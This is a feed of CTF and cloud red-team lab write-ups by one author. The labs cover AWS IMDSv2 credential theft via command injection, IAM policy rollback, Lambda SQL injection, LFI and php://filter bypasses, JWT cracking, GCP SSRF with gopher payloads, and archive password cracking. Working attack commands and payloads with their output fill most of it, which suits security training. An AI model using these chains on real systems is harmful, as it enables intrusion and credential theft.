DEV Community: David Disu

Cybr Academy - [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)

David Disu — Tue, 21 Jul 2026 02:13:41 +0000

Compromising EC2 IMDSv2 via Remote Code Execution

Overview

This lab walks through exploiting a command injection vulnerability in a web application to achieve Remote Code Execution (RCE) on an EC2 instance, then leveraging the Instance Metadata Service v2 (IMDSv2) to steal IAM credentials and access sensitive data in S3.

Step 1 — Finding the Command Injection

The web app exposes a /fetch-time endpoint that accepts a cmd parameter via POST request. The intended use is something like cmd=date to return the current server time. No input sanitization? That's our way in.

We test with a classic command chaining trick:

curl -X POST -d "cmd=date; whoami" http://34.229.207.76/fetch-time

Fri Jul 17 21:35:31 UTC 2026
root

We're running as root. The vulnerability is confirmed — whatever we pass in cmd gets executed directly on the server.

Step 2 — Querying the Instance Metadata Service

With RCE in hand, the next move is to check if this EC2 instance has an IAM role attached. IAM roles on EC2 instances expose temporary credentials through the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254.

A quick probe shows the instance is running IMDSv2 — the newer, token-based version of IMDS that requires a session token before returning any metadata. IMDSv1 would have let us query it directly, but IMDSv2 adds a layer of protection. Not an insurmountable one though.

We first request a token:

curl -X POST -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" \
http://34.229.207.76/fetch-time

This returns a short-lived session token valid for 6 hours. With the token in hand, we can now freely query the metadata service through our RCE.

Step 3 — Finding the IAM Role

We use the token to discover what IAM role is attached to the instance:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
http://34.229.207.76/fetch-time

Response: rce-lab-role

Step 4 — Stealing the Credentials

Now we query that specific role to extract its temporary AWS credentials:

curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role" \
http://34.229.207.76/fetch-time

We get back a full set of temporary credentials:

{
  "Code": "Success",
  "AccessKeyId": "ASIAQGYBPW5TU2CCIQMW",
  "SecretAccessKey": "iMaC8nPwTubKZnkMccJTHanYT0DuMRWswB0huIkb",
  "Token": "IQoJb3JpZ2luX2VjEOb//...",
  "Expiration": "2026-07-21T03:55:03Z"
}

We load these into a local AWS CLI profile called rce-lab and confirm our identity:

aws sts get-caller-identity --profile rce-lab

{
  "UserId": "AROAQGYBPW5TZJ3EEZLSB:i-0075a04de7e6bb809",
  "Account": "014498641767",
  "Arn": "arn:aws:sts::014498641767:assumed-role/rce-lab-role/i-0075a04de7e6bb809"
}

We're in.

Step 5 — Enumerating Permissions

Attempting to list the role's own policies hits a wall:

aws iam list-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

aws iam list-attached-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

The role can't describe itself — a common restriction in hardened environments. Rather than spinning our wheels on IAM, we pivot to checking common services directly. If the role has S3 access, we'll find out fast:

aws s3 ls --profile rce-lab

2026-07-20 17:17:31 cybr-imdsv2-rce-014498641767

A bucket. Let's look inside:

aws s3 ls s3://cybr-imdsv2-rce-014498641767 --profile rce-lab

2026-07-20 17:17:55 28 flag.txt

Step 6 — Capturing the Flag

aws s3 cp s3://cybr-imdsv2-rce-014498641767/flag.txt . --profile rce-lab
cat flag.txt

FLAG{CYBR_S3_ACC3SS_V!A_RC3}

Attack Chain Summary

Command Injection in /fetch-time endpoint
↓
Remote Code Execution as root
↓
IMDSv2 token obtained via RCE
↓
IAM role name discovered from metadata
↓
Temporary AWS credentials stolen
↓
S3 bucket enumerated
↓
Flag captured

PWNSOME REFERENCES

Cybr Academy [lab][CTF] PrivEsc IAM Version Rollback — Exploiting Version Management to Access S3 Data (AWS Red Teaming)

David Disu — Wed, 15 Jul 2026 20:24:53 +0000

Overview

This lab demonstrates a real-world AWS misconfiguration where an attacker can abuse IAM policy version management to escalate privileges and exfiltrate sensitive data from S3. The attack chain: enumerate IAM policy versions → identify an overly permissive version → set it as default → access S3 → exfiltrate cardholder data.

Services abused: IAM, S3

Key permissions exploited: iam:GetPolicyVersion, iam:SetDefaultPolicyVersion

How AWS IAM Policy Versioning Works

AWS IAM managed policies support up to five versions. When a policy is updated, the old version is retained rather than deleted. Only one version is active at a time — this is the default version. The key insight for attackers: if a principal has iam:SetDefaultPolicyVersion, they can roll back to any previous version, including ones with broader permissions than the current default.

This is exactly the misconfiguration we will exploit.

Reconnaissance

Step 1 — Confirm identity and current permissions

Always start by confirming what credential you are operating with:

aws sts get-caller-identity

Step 2 — Enumerate policy versions

The current default policy (v1) grants List* and Get* on all IAM actions, plus crucially iam:SetDefaultPolicyVersion. This is enough to enumerate and roll back to any prior version.

List all available versions of the target policy:

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::014498641618:policy/policyforexploitableuser

Step 3 — Inspect each version

Inspect each version to identify which one grants the most useful permissions. Version 4 stands out:

aws iam get-policy-version \
  --policy-arn arn:aws:iam::014498641618:policy/policyforexploitableuser \
  --version-id v4

Output:

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:List*",
                        "s3:Get*"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2026-07-15T18:13:34+00:00"
    }
}

Version 4 grants s3:List* and s3:Get* across all resources — full read access to every S3 bucket in the account. This is our target.

Exploitation

Step 4 — Set v4 as the default policy version

aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::014498641618:policy/policyforexploitableuser \
  --version-id v4

No output means it succeeded. Our credential now has full S3 read access.

Step 5 — Enumerate S3 buckets

aws s3 ls

Step 6 — List bucket contents

aws s3 ls s3://iamrollback-cardholder-data-bucket-014498641618

A file named cardholder_data_primary.csv is present — this is the target.

Step 7 — Exfiltrate the data

aws s3 cp s3://iamrollback-cardholder-data-bucket-014498641618/cardholder_data_primary.csv .

Open the file to retrieve the flag.

PWNSOME REFERENCES

AWS s3 CLI Docs

[LAB] Lambda SQLi PrivEsc to Access Secret (AWS Red Teaming)

David Disu — Thu, 09 Jul 2026 13:52:22 +0000

Lambda SQL Injection to IAM Privilege Escalation

Overview

This writeup documents the exploitation of a SQL injection vulnerability in an AWS Lambda function to escalate privileges and extract a secret from AWS Secrets Manager.

Reconnaissance

Using Pacu's IAM enumeration module, we discovered 22 roles and 3 policies within the target account:

Pacu > run iam__enum_users_roles_policies_groups

Reviewing the enumerated data revealed a key role — invoker-lambda-sqli-privesc-* — that our compromised user was explicitly allowed to assume via sts:AssumeRole.

use this AWS command to retrieve to the policy JSON documents

aws iam get-policy-version --policy-arn --version-id

Three policies were identified:

Policy	Purpose
`*-user`	Grants IAM read permissions and ability to assume the invoker role
`*_applier`	Grants `iam:AttachUserPolicy` on our user
`SecretAccessPolicy`	Grants `secretsmanager:GetSecretValue` on the target secret

SecretAccessPolicy immediately stood out — it was the end goal, granting direct access to the target secret.

Assuming the Invoker Role

With sts:AssumeRole permissions confirmed, we assumed the invoker role directly in Pacu:

Pacu > assume_role arn:aws:iam::014498641618:role/invoker-lambda-sqli-privesc-to-access-secret-1783543122906

The Pacu prompt updated to reflect the assumed role. We then exported the temporary credentials and loaded them into our AWS CLI profile for use outside Pacu.

Lambda Enumeration

With the invoker role active, we enumerated Lambda functions in us-east-1:

Pacu > run lambda__enum --region us-east-1

One function was found: Vulnerable-lambda-sqli-privesc-to-access-secret-*. Downloading its source code from the S3 location in the metadata revealed the vulnerability.

Identifying the Vulnerability

<!--SNIP-->
db["policies"].insert_all([
#     {"policy_name": "SecretAccessPolicy", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::{account_id}:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

<!--SNIP-->

The Lambda function applies IAM policies to users via a SQLite database query:

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"

User-supplied input is concatenated directly into the SQL query without sanitization or parameterization. This is a textbook SQL injection vulnerability — an attacker who controls policy_name can break out of the string and inject arbitrary SQL logic.

Crafting the Payload

Understanding the query structure, we crafted an injection payload:

SecretAccessPolicy' OR 1=1 --

Component	Purpose
`SecretAccessPolicy`	Valid-looking prefix to blend in
`'`	Closes the developer's opening quote
`OR 1=1`	Always-true condition, returns all rows
`--`	Comments out the remainder of the query, including `AND public='True'`

The resulting query executed by the database:

SELECT policy_name FROM policies 
WHERE policy_name='SecretAccessPolicy' OR 1=1 -- ' AND public='True'

The AND public='True' security check is completely neutralized by the comment, causing the database to return all policies regardless of their visibility setting.

Exploitation

We formatted the payload as a valid Lambda invocation:

{
  "policy_names": [
    "SecretAccessPolicy' OR 1=1 --"
  ],
  "user_name": "lambda-sqli-privesc-to-access-secret-1783549354532-user"
}

Invoking the Lambda with this payload caused it to attach SecretAccessPolicy to our user, granting us secretsmanager:GetSecretValue on the target secret.

aws lambda invoke --function-name Vulnerable-lambda-sqli-privesc-to-access-secret-1783549354532 --payload fileb://payload.json output.txt --region us-east-1

Extracting the Secret

Back in our original user session in Pacu, we ran the secrets enumeration module:

Pacu > run secrets__enum --region us-east-1

One secret was found: lambda-sqli-privesc-to-access-secret-*-final_flag. The value was automatically saved locally:

cat ~/.local/share/pacu/vuln-lamdba/downloads/secrets/secrets_manager/secrets.txt

{"vault-password": "cybr-labs-secret-846237-284529"}

PWNSOME REFERENCES

cybr.com [LAB] Introduction to Secrets Manager Enumeration (AWS Red Teaming)

David Disu — Sun, 05 Jul 2026 11:58:12 +0000

During a cloud security assessment, enumeration is a critical phase. It allows you to understand your current permissions, map out the available attack surface, and identify potential misconfigurations or exposed sensitive data. This writeup walks through a hands-on lab demonstrating how to perform credential enumeration, list secrets, and extract sensitive payloads using the AWS CLI.

Part 1: Initial Identity Enumeration

Every cloud security assessment begins with determining who you are in the environment. Using an acquired set of AWS access keys, the first step is to call the Security Token Service (STS) to get the current identity context.

aws sts get-caller-identity

The command returns the following JSON structure:

{  
   "UserId": "AIDAQGYBPW3JHDS5K4A75",  
   "Account": "014498641618",  
   "Arn": "arn:aws:iam::014498641618:user/Julie"  
}

The output confirms that the credentials belong to an IAM user named Julie within account 014498641618.

Part 2: Privilege and Policy Assessment

Knowing the identity is Julie, the next objective is to find out what Julie is authorized to do. We query IAM to list the inline policies attached directly to this user account.

aws iam list-user-policies --user-name julie

{  
   "PolicyNames": [  
       "AllowReadSecretsManager"  
   ]  
}

An inline policy named AllowReadSecretsManager exists. To view the exact permissions granted by this policy, we pull the specific policy document.

aws iam get-user-policy --user-name julie --policy-name AllowReadSecretsManager

The policy details reveal three distinct permission blocks:

{
   "UserName": "julie",  
   "PolicyName": "AllowReadSecretsManager",  
   "PolicyDocument": {  
       "Version": "2012-10-17",  
       "Statement": [  
           {  
               "Action": [  
                   "iam:ListPolicies",  
                   "iam:ListPolicyVersions",  
                   "iam:GetPolicy",  
                   "iam:GetUser",  
                   "iam:GetUserPolicy",  
                   "iam:ListUserPolicies"  
               ],  
               "Effect": "Allow",  
               "Resource": "*",  
               "Sid": "AllowIAMActions"  
           },  
           {  
               "Action": [  
                   "secretsmanager:GetSecretValue",  
                   "secretsmanager:ListSecretVersionIds",  
                   "secretsmanager:GetResourcePolicy",  
                   "secretsmanager:DescribeSecret"  
               ],  
               "Effect": "Allow",  
               "Resource": [  
                   "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password*",  
                   "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key*"  
               ],  
               "Sid": "AllowSecretsManagerActions"  
           },  
           {  
               "Action": [  
                   "secretsmanager:ListSecrets"  
               ],  
               "Effect": "Allow",  
               "Resource": "*",  
               "Sid": "AllowListSecrets"  
           }  
       ]  
   }  
}

Policy Analysis

AllowIAMActions: Allows the user to perform read-only enumeration on IAM profiles and policies.

AllowListSecrets: Grants the ability to list all available metadata for secrets in this account across any resource path.

AllowSecretsManagerActions: Restricts the actual extraction of secret values exclusively to two target prefixes: sm-enumerate-password* and sm-enumerate-api-key*.

Part 3: Enumerating Secrets Manager

With verification that secretsmanager:ListSecrets is permitted globally, we execute a command to discover what secrets exist in the region.

aws secretsmanager list-secrets

The output highlights two secrets matching the resource restrictions found in the IAM policy:

Secret Name: sm-enumerate-password

    ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz

Secret Name: sm-enumerate-api-key

    ARN: arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz

Part 4: Extracting and Decoding the Flag

Since the policy explicitly permits secretsmanager:GetSecretValue for these specific names, we can query the values directly.
Extracting the Password

aws secretsmanager get-secret-value --secret-id sm-enumerate-password

{  
   "ARN": "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-password-cSojGz",  
   "Name": "sm-enumerate-password",  
   "SecretString": "{\"password\":\"cybr-labs-are-super-fun-2211\"}"
}

Extracting the API Key

aws secretsmanager get-secret-value --secret-id sm-enumerate-api-key

{  
   "ARN": "arn:aws:secretsmanager:us-east-1:014498641618:secret:sm-enumerate-api-key-zShLNz",  
   "Name": "sm-enumerate-api-key",  
   "SecretString": "{\"secret-api-key\":\"Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy\"}"
}

The SecretString for the API key contains a Base64-encoded string: Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy.

Decoding the Flag

To complete the Capture the Flag challenge, the Base64 value must be passed to a decoder. Running this locally via Linux utility tools:

echo "Y3lici1sYWJzLWZha2UtYXBpLWtleS0xMTIy" | base64 -d

Decoded Capture the Flag Value:
cybr-labs-fake-api-key-1122

PWNSOME REFERENCES:

https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/#cli-aws-secretsmanager

Garden State Gateway -jerseyctf6

David Disu — Wed, 06 May 2026 13:05:13 +0000

This site uses weak creds to login admin:admin. The profile reveals our role.

To solve challenge insepct elements go storage tab edit cookie value from visitor -> admin. This reveals

identify and deccode the cipher (ROT-13). wpgs{t4g3j4l_p00x13} -> jctf{g4t3w4y_c00k13}.

my-cool-blog - jerseyctf6

David Disu — Sun, 19 Apr 2026 20:34:36 +0000

Challenge Overview

This challenge involves chaining multiple vulnerabilities — Directory Traversal, Local File Inclusion (LFI), and a PHP filter bypass — to extract database credentials and retrieve the flag directly from a PostgreSQL database.

Key concepts: LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration

Step 1 – Reconnaissance

The challenge URL exposes a suspicious file parameter:

http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1

Run an nmap scan to fingerprint the target:

nmap -sV my-cool-blog.aws.jerseyctf.com

Port	Service	Version
22	SSH	OpenSSH 8.7
80	HTTP	Apache 2.4.63 Ubuntu
5432	PostgreSQL	DB 18.0–18.2

The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.

Step 2 – Confirm LFI via Directory Traversal

Passing an invalid path to the file parameter triggers a verbose PHP error:

This leaks two critical details — the app passes user input directly to file_get_contents(), and the absolute server path is /opt/server/. Verify LFI by reading /etc/passwd:

?file=../../../../etc/passwd

Confirmed. We have LFI.

Step 3 – Enumerate the Source Code

Use the PHP Base64 filter wrapper to read view-post.php without the server executing it:

?file=php://filter/convert.base64-encode/resource=view-post.php

Decoding the Base64 output reveals two security checks:

Directory block — blocks any input starting with includes
Content filter — blocks any file whose contents contain the string pg_connect

The developer even Base64-encoded pg_connect within the source itself (cGdfY29ubmVjdA==) to obscure the check — a textbook security through obscurity mistake.

Step 4 – Bypass the Filters and Extract Credentials

Both filters collapse under the same PHP filter wrapper trick:

The includes/ block only checks if input starts with includes — php:// bypasses it entirely
The pg_connect content filter never fires because the file is Base64-encoded in memory before str_contains can inspect it

Winning payload:

?file=php://filter/convert.base64-encode/resource=includes/db.inc

Decode the returned Base64 to reveal the PostgreSQL credentials:

host=my-cool-blog.aws.jerseyctf.com
dbname=blog
user=blog_web
password=oPPNQ9vkMdAJx

Step 5 – Connect to PostgreSQL and Dump the Flag

Connect directly to the remote database:

psql -h my-cool-blog.aws.jerseyctf.com -U blog_web -d blog

List the tables:

\dt

Query the flag table:

SELECT * FROM flag;

Flag

jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}

Pwnsome References

X-Ray Vision - jerseyctf6

David Disu — Sun, 19 Apr 2026 19:35:22 +0000

Challenge Overview

This challenge involves finding a hidden token in a webpage's source code, decoding it using the ROT13 cipher, and using it to authenticate against an API endpoint to retrieve the flag.

Key concepts: ROT13 encoding, API authentication with custom headers

Step 1 – Inspect the Page Source

View the page source and look through the HTML for any hidden comments or metadata. You'll find a hidden token:

The token found is: q3i3y0c3e_g00y5

Step 2 – Decode the ROT13 Token

The token is ROT13 encoded. Decode it via rot13.com or in your terminal:

echo "q3i3y0c3e_g00y5" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Note: ROT13 only shifts letters — numbers and special characters stay unchanged.

q3i3y0c3e_g00y5  →  d3v3l0p3r_t00l5

Step 3 – Authenticate Against the API

Pass the decoded token as a custom header to the API endpoint:

curl -H "x-secret-token: d3v3l0p3r_t00l5" http://x-ray-vision.aws.jerseyctf.com/api/status

Flag

jctf{r0t_y0ur_w4y_t0_4cc3ss}

Pwnsome References

My Favorite OS - Jerseyctf6

David Disu — Sun, 19 Apr 2026 19:25:07 +0000

Step 1 – Explore Available Commands

Start by running the help command in the terminal to see what actions are available.

Step 2 – Log In as the Guest User

Use the provided login command to authenticate as the guest user. The server responds with an automatically generated JWT.

Step 3 – Decode the JWT

Head to jwt.io and paste the token into the decoder. Inspect the payload section — you'll see something like:

{
  "username": "guest",
  "role": "user"
}

Our role is user. To access the admin panel, we need to change this to Admin. However, we can't just edit the token — the signature will break unless we sign it with the correct secret key.

Step 4 – Brute-Force the Secret Key

Since JWTs signed with HS256 use a symmetric secret key, we can attempt to crack it using Hashcat with a wordlist:

hashcat -a 0 -m 16500 <your_jwt_token> <path_to_wordlist>

-a 0 — dictionary attack mode
-m 16500 — hash type for JWT (HS256)

The secret key is revealed: windows98

Step 5 – Forge a New Token

Now that we have the secret key, go back to jwt.io and:

Edit the payload — change "role": "user" to "role": "Admin"
Enter windows98 as the secret in the Verify Signature section
Copy the newly signed token

Step 6 – Access the Admin Panel

Use the forged token to send a request to the protected admin endpoint:

GET /admin/panel -H 'Authorization: Bearer <forged_token>'

Flag

jctf{w1nd0ws98_1s_th3_b3st_0s_3v3r_937cn2}

Pwnsome References

Local File Inclusion - Forever CTF (web)

David Disu — Wed, 04 Mar 2026 14:58:34 +0000

Exploit SSRF for Local File Disclosure

In this challenge, we analyze a web application that fetches resources based on user-supplied input. This behavior often points to a Server-Side Request Forgery (SSRF) vulnerability.

1. Identifying the Vulnerability

We test the application by attempting to access a local system file using the file:// URI scheme. By submitting the payload file:///etc/passwd, we can check if the server will read and return its own internal configuration files.

The application successfully returns the contents of the /etc/passwd file. This confirms the application is SSRF positive, specifically allowing for Local File Disclosure (LFD).

2. Retrieving the Flag

The lab description indicates that the flag is located at /flag.txt. Using the confirmed vulnerability, we modify our payload to target that specific file path:

Payload: file:///flag.txt

The server processes the request and reveals the flag:
utflag{g0t_y0ur_r3s0urc3!}

Reveal Hidden Files in Google Storage - Pwnedlabs (Google Cloud pentesting)

David Disu — Wed, 04 Mar 2026 04:15:25 +0000

Identifying and Cracking Exposed Cloud Storage Backups

In this challenge, we begin by inspecting the web page elements to uncover an internal Google Cloud Storage URL: https://storage.googleapis.com/it-storage-bucket.

1. Initial Enumeration

Attempting to list the bucket contents directly via the gcloud CLI or browser often results in a "Permission Denied" (403) error if listing is disabled, even if individual files are publicly accessible.

To bypass this, we perform directory fuzzing to find specific hidden files. Using the ffuf tool and a targeted backup wordlist, we can identify valid paths.

Command:
ffuf -u https://storage.googleapis.com/it-storage-bucket/FUZZ -w /usr/share/wordlists/backup_files_only.txt -mc 200

The fuzzer successfully identifies a match: backup.7z.

2. Data Exfiltration

Once the file path is confirmed, we exfiltrate the archive to our local machine using the gcloud storage utility.

Command:
gcloud storage cp gs://it-storage-bucket/backup.7z .

3. Cracking the Archive

Since the .7z file is password-protected, we use John the Ripper to perform a brute-force attack. First, we must convert the archive into a crackable hash format.

Step A: Extract the hash
7z2john backup.7z > hash.txt

Step B: Run the cracker
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

The password is found: balance.

4. Retrieving the Flag

With the password in hand, we extract the archive contents.

Command:
7z x backup.7z

After entering the password balance, the archive unlocks to reveal the final flag.

How to crack a 7z file on kali linux

David Disu — Wed, 04 Mar 2026 00:15:18 +0000

Cracking Password-Protected 7z Archives with John the Ripper

Before starting, ensure your system is updated and the necessary utilities are installed:
sudo apt update && sudo apt install john john-data p7zip-full -y

Step 1: Extract the Archive Hash

John the Ripper cannot crack a .7z file directly. You must first extract the password hash into a format that John understands. We use the 7z2john utility for this.

Command:
7z2john secrets.7z > secret_hash.txt

Step 2: Crack the Hash with a Wordlist

Once you have the hash file, use a wordlist (like the standard rockyou.txt) to attempt to crack the password.

Command:
john --wordlist=/usr/share/wordlists/rockyou.txt secret_hash.txt

If successful, John will display the cleartext password in the terminal. You can view it again later using the --show flag:
john --show secret_hash.txt

Step 3: Extract the Protected Files

Now that you have the password, use the 7z utility to extract the contents of the archive.

Command:
7z x secrets.7z and password: butterfly

When prompted, enter the password you cracked in the previous step. Your files will be extracted to the current directory.

PwnedLabs - Exploit SSRF with Gopher for GCP Initial Access (Google Cloud Pentesting)

David Disu — Mon, 02 Mar 2026 01:33:15 +0000

Exploit SSRF with Gopher for GCP Initial Access

Target IP Address: 35.226.245.121

ENUMERATION

From the initial port scan, ports 22 (SSH) and 80 (HTTP) are open, while ports 1433, 3389, and 5432 are closed.

After viewing the landing page and moving onto the shop page, inspecting the elements reveals the site uses a Google Cloud Storage bucket. On the profile.php page, we can test for a Server-Side Request Forgery (SSRF) vulnerability.

EXPLOITATION

Using the file:///etc/passwd payload, we are able to view the local /etc/passwd file, proving that the application is vulnerable to SSRF.

To pivot into the cloud environment, we will gather information about the VM metadata. First, we query for the associated service account using the following Gopher payload:

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

The query reveals the service account name is:

bucketviewer@gr-proj-1.iam.gserviceaccount.com

Next, we use another Gopher payload to retrieve the service account's access token:

gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

To use the credentials, we export the token as a variable:

export ACCESS_TOKEN=<token>

DATA EXFILTRATION

Now that we have the credentials, we can query the bucket using the Google Storage API:

curl "https://www.googleapis.com/storage/v1/b/gigantic-retail/o" -H "Authorization: Bearer $ACCESS_TOKEN"

The result reveals a path to a flag. Finally, we can download the flag file via curl using the -o flag: